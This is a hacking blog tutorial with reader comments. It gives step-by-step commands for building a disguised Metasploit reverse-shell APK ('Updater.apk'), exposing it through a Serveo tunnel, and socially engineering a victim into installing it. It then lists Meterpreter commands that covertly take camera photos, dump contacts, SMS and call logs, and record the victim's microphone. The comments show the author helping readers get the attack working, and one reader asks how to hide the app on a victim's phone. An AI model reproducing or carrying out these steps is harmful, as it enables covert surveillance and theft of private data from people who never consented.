Hello aspiring Hackers!!! as you can guess from the title, this post is gonna be awesome. Its about How to hack an Android phone with another Android without root often called as Android to Android Hacking. This is 100% working method and practically done by me. Therefore, follow my instructions carefully and i will let you hack an Android in just simple 5 steps.

Requirements :-

1. Termux app( Download it from Play Store)

2. Installed Metasploit Framework in TermuX (Read Part #1 of this post to install Metasploit-Framework in just simple 4 steps)

3. TermuX should be allowed to use External Storage (For this only enter this command only at once: “termux-setup-storage”)

4. MiXplorer (-2.36MB For signing APK file, Download it from UpToDown Website)

5. MiX Signer (- 500KB APK Signer for MiXplorer (Download it from their Official Site)

6. (Recommended) Use Hacker`s Keyboard for entering commands in TermuX easily.

Step 1: Port Forwarding

  • For port forwarding we will use Serveo. Firstly, it allows us to manually forward desired port over internet and secondly we can even do this in future. To use Serveo first of all you have to install OpenSSH package for termux. For this you have to write this command :-

pkg install openssh

How to hack an Android with another Android

  • After installation its time for port forwarding,so just type this :-

ssh -R (Desired_Port):localhost:(Desired_Port) serveo.net

  • Here we will forward an TCP port. To do this you have to enter same, desired ports in “Desired_Port” field. Also, do not change “localhost”. Thus for example we are going to forward a TCP port : 4564.

Afterward you may get such screen

How to hack an Android with another Android

Step 2: Creating PAYLOAD in apk format

To create APK file with embedded Payload enter this command after opening new session in Termux

msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
> storage/downloads/Updater.apk

How to hack an Android with another Android

Just wait for few seconds Payload will be automatically generated

How to hack an Android with another Android

Alright! Payload (Updater.apk) is successfully generated you can check it out in your file manager.

Making the Payload installable

Step 3: Signing the APK file

Signing an APK file is equally important. Here I’m providing you some easy steps to sign a APK file:

  • First of all open Mixplorer File Manager and find your payload – Updater.apk.

  • Long press on your payload apk (Updater.apk) and select “MENU button” on top right corner of MiXplorer, then select “SIGN

How to hack an Android with another Android

  • This will give you lot of Signing options in particular but choose AUTO option, it will automatically sign the apk in best possible way.

How to hack an Android with another Android

  • Now your apk is signed and will be named as (filename-signed.apk).

As to illustrate in this case we’ve chosen file name as Updater.apk so it will be named as Updater-signed.apk

Getting Hands over Metasploit-Framework :

Step 4: Setting up Metasploit-Framework in Termux for Hacking

As in Part #1 of this post i told about Metasploit-Framework that it is a very interesting and powerful well known tool in hacking field. So today we are gonna use it for Android to Android Hacking.

  • Now open New Session in termux and enter this command to open Metasploit :-


It will land you to this below page :

How to hack an Android with another Android

Therefore, once msfconsole starts you have to type all these commands (written in bold letters only) one after one(hit enter after typing each individual command) :-

msf> use exploit/multi/handler
msf> set payload android/meterpreter/reverse_tcp
msf> set LHOST localhost
msf> set LPORT 4564
msf> exploit -j -z

How to hack an Android with another Android

Social Engineering 😃

Step 5: Installing the Payload in Victim’s Android Phone(Social Engineering)

Finally you are almost all done with your command knowledge and now here comes the best part of Hacking and that is Social Engineering. Now you have to send (recommended via bluetooth) this successfully signed apk to Victim’s Android phone and that’s solely depend on your social engineering tactics. So, I hope you are good with 😊 therefore i assume you have send this Payload in Victim’s phone .

Moreover, make sure victim has active internet connection then install the payload and open it.

    • After opening APK file in victim`s phone, you will see that Meterpreter Session in your Metasploit field will be activated. To open the Meterpreter session of your victim`s device, click “Return Button” and enter this Command on Termux in Metasploit session :-

sessions -i (Session ID)

here, session id can be 1,2,3….

How to hack an Android with another Android

  • In (Session ID) , select the session number of Meterpreter (i.e. You will see this message when your victim opens the APK file: Meterpreter Session Opened 1 , here , 1 is the session id of Meterpreter Session).

Now, if you see such kind of screen

How to hack an Android with another Android

then you have hacked it man😎.You have just Hacked an Android phone with Android .And now you know How to hack an Android phone with another Android


Thus, you have full access control to your Victim’s mobile. You can enter : {meterpreter> help} command, for all the available commands available to you for hacking .But I will do this for you we can use these below commands for hacking :-

  1. Controlling Victim’s Camera

For capture an image from Front-Camera of Victim’s phone just type this command :-

webcam_snap -i 2 -p storage/downloads/Snapshot-F.jpg


If you want to access back camera of Victim’s phone just replace 2 in previous command by 1

webcam_snap -i 1 -p storage/downloads/Snapshot-F.jpg

You can checkout your gallery or file manager(by default in downloads folder) to see the image captured by your Victim’s phone.

2. Getting all contacts from Victim’s phone

For accessing contacts from your Victim’s phone just type this command :-

dump_contacts -o storage/downloads/Contacts.txt

List of contacts will be saved in your downloads folder namely Contacts.txt .

3. To access SMS from Victim’s phone

To read all SMS from Victim’s phone just like above type this command :-

dump_sms -o storage/downloads/SMS.txt

All the messages will by default get stored in your downloads folder namely SMS.txt

4. Fetching Call Log

To get the call log details of your Victim’s Android phone

dump_calllog -o storage/downloads/CallLog.txt

All the call log details will by default get stored in your downloads folder namely CallLog.txt

5. Accessing Microphone of Victim’s phone

You can also record audio through Victim’s phone and hear it on your phone. Just type this command :-

record_mic -d 10 -f storage/downloads/Spy-Record.mp3

By default this command will record 10 second of audio.
You can change the duration of recording just replace 10 by the time that you want like 20 for 20 seconds recording and so on.

Note – This is only for educational purpose and I’m not responsible for any misuse or harm done.

If you need any help then feel free to ask me in comment.

Thanks for coming if you like it then please share it, you will be appreciated.😄


Categories: AllHacking


Nishanth manimurugan · July 25, 2019 at 4:27 PM

I want ro learn complete hacking bro
Ur metasploit frame work installation link was vsry useful for me bro. It worked well and bro i want to get all information about hacking so mail me the procedures and i want to clear my many doubts.. likre….. How to hide an app in the victim mobile, if i learned this all about hacking it will be use ful for me to make awareness for people and my to myfriend s from evil hackers of the society. By nishanth ethical hacker learner….

    admin · July 25, 2019 at 6:18 PM

    Thanks for this appreciation man. It really motivate us.By the way if you wanna learn more about hacking just stay tuned to our website’s Hacking section. i will post all hacking activities there.Its been a while since we post, but now we are back.
    PS – All the queries that you ask i will mail it to you their answers.

oprol evorter · September 29, 2019 at 5:49 AM

I am glad to be a visitor of this complete web blog! , regards for this rare info ! .

Abhi · November 1, 2019 at 6:52 PM

What should i add in desired port please tell me .Btw thnq for the guide for installation metasploit 😘

    admin · November 1, 2019 at 6:53 PM

    see the image below and use the same port number as shown their.
    Thanks for the complement though..😊

Debasis · November 20, 2019 at 11:45 AM

What should i add in desired port please tell me .

Hairstyles Cool · January 26, 2020 at 5:21 PM

I have been surfing online more than 3 hours today, yet I never found any interesting article like yours. It抯 pretty worth enough for me. In my opinion, if all website owners and bloggers made good content as you did, the web will be much more useful than ever before.

sanyu · February 1, 2020 at 12:43 AM

Is it work for i phone 4s?

    Tech4use · February 2, 2020 at 10:11 PM


Rishabh · February 3, 2020 at 7:45 PM

Port 4564 and 4444 and 22 are not working. Please tell me a different port number that can work.

    Tech4use · February 3, 2020 at 7:59 PM

    use any number like 5656 or 3421

Rishabh · February 3, 2020 at 8:32 PM

Still not working. See this copy out. $ pkg install openssh
Ign:2 https://dl.bintray.com/grimler/game-packages-24 games InRelease
Ign:3 https://dl.bintray.com/grimler/science-packages-24 science InRelease
Ign:4 https://dl.bintray.com/xeffyr/unstable-packages unstable InRelease
Ign:1 https://dl.bintray.com/termux/termux-packages-24 stable InRelease
Get:6 https://dl.bintray.com/grimler/game-packages-24 games Release [5344 B]
Hit:6 https://dl.bintray.com/grimler/game-packages-24 games Release
Get:8 https://dl.bintray.com/grimler/science-packages-24 science Release [5348 B]
Hit:8 https://dl.bintray.com/grimler/science-packages-24 science Release
Get:10 https://dl.bintray.com/xeffyr/unstable-packages unstable Release [6065 B]
Hit:10 https://dl.bintray.com/xeffyr/unstable-packages unstable Release
Get:5 https://dl.bintray.com/termux/termux-packages-24 stable Release [6061 B]
Hit:5 https://dl.bintray.com/termux/termux-packages-24 stable Release
Reading package lists… Done
Building dependency tree
Reading state information… Done
2 packages can be upgraded. Run ‘apt list –upgradable’ to see them.
Reading package lists… Done
Building dependency tree
Reading state information… Done
openssh is already the newest version (8.1p1-4).
0 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.
$ ssh -R 3421:localhost:3421 serveo.net
ssh: connect to host serveo.net port 22: Connection timed out

    Tech4use · February 3, 2020 at 8:36 PM

    Try to install openssh-server

      Rishabh · February 3, 2020 at 8:38 PM

      But how

        Tech4use · February 3, 2020 at 8:38 PM

        pkg install openssh-server

        Tech4use · February 4, 2020 at 12:38 PM

        Did it works????

          Rishabh · February 4, 2020 at 5:59 PM


Rishabh · February 4, 2020 at 7:25 PM

Please tell me. What’s the problem ?

Leave a Reply

Your email address will not be published. Required fields are marked *